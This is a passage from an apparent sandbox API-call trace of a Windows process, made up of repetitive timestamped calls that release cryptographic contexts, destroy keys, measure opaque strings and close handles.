(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0137.468] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01\x283e\x2803\x5d36\x572f\x9a34\x1cb6\x5288\xab41") returned 0x30 [0137.468] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0137.468] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0137.468] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0137.468] CryptDestroyKey (hKey=0x8e84c38) returned 1 [0137.468] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0137.468] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0137.468] CryptDestroyKey (hKey=0x8e84e38) returned 1 [0137.468] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0137.468] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0137.468] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed\x5a9e\x4009\xfc5d\x2202\xdc7a\xd9f6\xdd8\xc0c9") returned 0x30 [0137.469] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x18ff\xac14\xe450\x49cf\x9346\x2c88\x90f1\x4ce6\x8d0\x2cdc\xadde\xa0d\x729c\x5cdc\xd97e\x9c41") returned 0x30 [0138.034] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0138.034] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da\x2885\xf12a\x60ae\x7d95\xdebd\x96d1\x820d\x1cb4") returned 0x30 [0138.035] CryptDestroyKey (hKey=0x8e84a78) returned 1 [0138.035] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0138.035] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0138.035] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7\x1cff\xbce6\xd868\x7236\x7460\xc6b7\x998a\x4554") returned 0x30 [0138.035] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0138.035] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0138.035] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0138.035] CryptDestroyKey (hKey=0x8e84978) returned 1 [0138.035] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0138.035] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0138.036] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0138.036] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.036] CryptDestroyKey (hKey=0x8e84d38) returned 1 [0138.036] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0138.036] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0138.036] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0138.036] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.036] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.036] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.036] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0138.036] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0138.037] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0138.037] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0138.037] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0138.037] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xead5\x827\x3c0a\x685b\x281e\x2f2f\x566e\x68") returned 0x30 [0138.037] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0138.037] CryptDestroyKey (hKey=0x8e85138) returned 1 [0138.037] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0138.037] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0138.037] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0138.038] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0138.038] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0138.038] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf\x2a2f\x92f4\x2fb8\x7b01\xe9cb\x6db6\x1730\xf5be") returned 0x30 [0138.536] CryptDestroyKey (hKey=0x8e84d38) returned 1 [0138.537] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0138.537] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0138.537] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0138.537] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0138.537] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0138.537] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0138.537] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0138.537] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.537] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0138.538] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0138.538] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xead5\x827\x3c0a\x685b\x281e\x2f2f\x566e\x68") returned 0x30 [0138.538] CryptDestroyKey (hKey=0x8e84c38) returned 1 [0138.538] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0138.538] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0138.538] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xead5\x827\x3c0a\x685b\x281e\x2f2f\x566e\x68") returned 0x30 [0138.538] CryptDestroyKey (hKey=0x8e84db8) returned 1 [0138.538] CryptReleaseContext (hProv=0x42ebdc0, dwFlags=0x0) returned 1 [0138.538] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01\x291a\xcd03\x5844\x3392\xcae\xf064\xb62b\x6e2b") returned 0x30 [0138.538] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02\x8fef\x1354\x643a\xe10f\xc59\x9b2b\x5a05\x9da3") returned 0x30 [0138.539] CryptDestroyKey (hKey=0x8e84978) returned 1 [0138.539] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.539] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.539] CryptReleaseContext (hProv=0x42ebdc0, dwFlags=0x0) returned 1 [0138.539] CryptDestroyKey (hKey=0x8e84a78) returned 1 [0138.539] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0138.539] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0138.539] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0138.539] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0138.539] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b\xd0ea\xed3b\xc689\xc98e\xa92d\xbee2\x5d29\x8a1c") returned 0x30 [0138.539] CryptDestroyKey (hKey=0x8e84e38) returned 1 [0138.539] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0138.956] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.956] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0138.956] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.956] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.956] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098\xcbf7\xf3b4\x519e\xb565\xf900\x7a20\xaf06\x1869") returned 0x30 [0138.956] CryptDestroyKey (hKey=0x8e853b8) returned 1 [0138.956] CryptReleaseContext (hProv=0x42eb210, dwFlags=0x0) returned 1 [0138.956] CryptReleaseContext (hProv=0x42eb210, dwFlags=0x0) returned 1 [0138.956] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0138.956] CryptReleaseContext (hProv=0x42eb298, dwFlags=0x0) returned 1 [0138.956] CryptReleaseContext (hProv=0x42eb298, dwFlags=0x0) returned 1 [0138.957] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xead5\x827\x3c0a\x685b\x281e\x2f2f\x566e\x68") returned 0x30 [0138.957] CryptDestroyKey (hKey=0x8e85538) returned 1 [0138.957] CryptReleaseContext (hProv=0x42ebdc0, dwFlags=0x0) returned 1 [0138.957] CryptReleaseContext (hProv=0x42ebdc0, dwFlags=0x0) returned 1 [0138.957] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0138.957] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0138.957] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3\x51d5\x1174\x5d4d\x4e03\x89ac\x29e0\xdd3e\x10f0") returned 0x30 [0138.957] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0138.957] CryptDestroyKey (hKey=0x8e85238) returned 1 [0138.957] CryptReleaseContext (hProv=0x42eb210, dwFlags=0x0) returned 1 [0138.957] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33\xe380\x5655\xe581\xe8a9\x9218\x4b4f\x7e74\xba11") returned 0x30 [0138.957] CryptReleaseContext (hProv=0x42eb210, dwFlags=0x0) returned 1 [0138.957] CryptDestroyKey (hKey=0x8e84c78) returned 1 [0138.957] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0138.957] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0138.958] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0138.958] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0138.958] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0138.958] CryptDestroyKey (hKey=0x8e85138) returned 1 [0138.958] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0138.958] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0138.958] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0139.316] SysStringLen (param_1="\xe1da\x8b6\xe8b1\x1bbb\x86b8\x4cd5\x8765\x124a\x62c6\xabd6\xf055\xff0e\x8180\x28e5\xf3a5\xf1d0\xcb61\xfcc8\xa176\x97a5\x866c\xabe0\x442f\xaa3f\xb530\x3d97\xd748\x6afe\xa143\x8687\x58be\x6d23\x88ac\x390e\xc32c\x2fd1\x272f\xce09\xbc4b\xb44e\x30a2\x5dbd\xba7c\x30ea\x562b\x58c5\x7279\x8ea9") returned 0x30 [0139.316] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0139.316] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0139.316] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0139.316] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0139.316] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0139.316] CryptReleaseContext (hProv=0x42eb210, dwFlags=0x0) returned 1 [0139.316] CryptReleaseContext (hProv=0x42eb210, dwFlags=0x0) returned 1 [0139.316] CryptDestroyKey (hKey=0x8e84d38) returned 1 [0139.316] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0139.317] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0139.317] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0139.317] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0139.317] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0139.317] CryptDestroyKey (hKey=0x8e84c38) returned 1 [0139.317] CryptReleaseContext (hProv=0x42ebdc0, dwFlags=0x0) returned 1 [0139.317] CryptDestroyKey (hKey=0x8e84e38) returned 1 [0139.317] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0139.317] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0139.317] CryptReleaseContext (hProv=0x42ebdc0, dwFlags=0x0) returned 1 [0139.317] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0139.318] CryptDestroyKey (hKey=0x8e84db8) returned 1 [0139.318] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0139.318] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0139.318] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0139.318] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10\x7166\x7a4\x1cc\xb370\xe9e1\x74b4\x9f14\x88fc") returned 0x30 [0139.318] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0139.318] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0139.318] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0139.318] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0139.318] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2d03\x9acd\xecc0\xb17c\x25e7\x1279\x5335\xb939\x180e\x14e0\xa031\xcf49\xff75\xbd13\xfba4\xd174\x3ae3\x276f\xf11b\x3b67\xd76f\xcade\xfa1c\x233\xae9d\x8a85\x6d4a\xda5\x8aa5\xc174\xbd34\x91ca\x4026\x50d\x419c\x5778\x4dee\xefb4\x4e47\x9056") returned 0x30 [0139.319] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0139.319] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0139.319] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0139.319] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51\xbf03\x4cee\x7545\x7d33\xe92c\xe997\xcc1f\x676b") returned 0x30 [0139.319] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0139.319] CryptDestroyKey (hKey=0x8e84978) returned 1 [0139.319] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0139.319] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0139.319] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0139.319] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xf674\xb9e9\xc92e\xa9c\x5886\x4ed8\xd4a3\x1172") returned 0x30 [0139.320] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0139.320] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0139.320] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0143.530] EtwEventUnregister (RegHandle=0x435cf20) returned 0x0 [0143.530] EtwEventUnregister (RegHandle=0x435d670) returned 0x0 [0143.530] EtwEventUnregister (RegHandle=0x435d740) returned 0x0 [0143.530] EtwEventUnregister (RegHandle=0x8c7e588) returned 0x0 [0144.807] LocalFree (hMem=0x8e032c8) returned 0x0 [0144.818] LocalFree (hMem=0x8e034e8) returned 0x0 [0145.067] CloseHandle (hObject=0x4c4) returned 1 [0145.086] CryptDestroyKey (hKey=0x8e84d78) returned 1 [0145.086] CryptReleaseContext (hProv=0x8e03460, dwFlags=0x0) returned 1 [0145.086] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0145.086] CryptReleaseContext (hProv=0x8e03460, dwFlags=0x0) returned 1 [0145.086] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0145.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x57fc\xd72b\x646f\xd9ed\xe9f2\x2d09\x64dc\xfcee") returned 0x30 [0145.087] CloseHandle (hObject=0x77c) returned 1 [0145.087] CryptDestroyKey (hKey=0x8e84af8) returned 1 [0145.087] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0145.087] CloseHandle (hObject=0x778) returned 1 [0145.088] CloseHandle (hObject=0x768) returned 1 [0145.088] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0145.088] CloseHandle (hObject=0x72c) returned 1 [0145.088] CloseHandle (hObject=0x700) returned 1 [0145.088] CloseHandle (hObject=0x728) returned 1 [0145.088] CloseHandle (hObject=0x71c) returned 1 [0145.089] CloseHandle (hObject=0x704) returned 1 [0145.089] CloseHandle (hObject=0x724) returned 1 [0145.089] CloseHandle (hObject=0x710) returned 1 [0145.089] CloseHandle (hObject=0x708) returned 1 [0145.089] CloseHandle (hObject=0x714) returned 1 [0145.089] CloseHandle (hObject=0x6fc) returned 1 [0145.090] CloseHandle (hObject=0x6f8) returned 1 [0145.090] CloseHandle (hObject=0x6f0) returned 1 [0145.090] CloseHandle (hObject=0x528) returned 1 [0145.090] CloseHandle (hObject=0x8d8) returned 1 [0145.090] CloseHandle (hObject=0x8e4) returned 1 [0145.090] CloseHandle (hObject=0x8d4) returned 1 [0145.091] CloseHandle (hObject=0x850) returned 1 [0145.091] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b\xce03\x406f\x1bd3\x8f14\x9a19\x6613\x5bc6\x2d97") returned 0x30 [0145.091] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554\xd227\x9029\x275d\x197f\x9de\x96b6\x8981\xe561") returned 0x30 [0145.091] CloseHandle (hObject=0x78c) returned 1 [0145.091] CryptDestroyKey (hKey=0x8e84f38) returned 1 [0145.092] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0145.092] CloseHandle (hObject=0x79c) returned 1 [0145.092] CryptDestroyKey (hKey=0x8e84db8) returned 1 [0145.092] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0145.092] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0145.092] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0145.092] SysStringLen 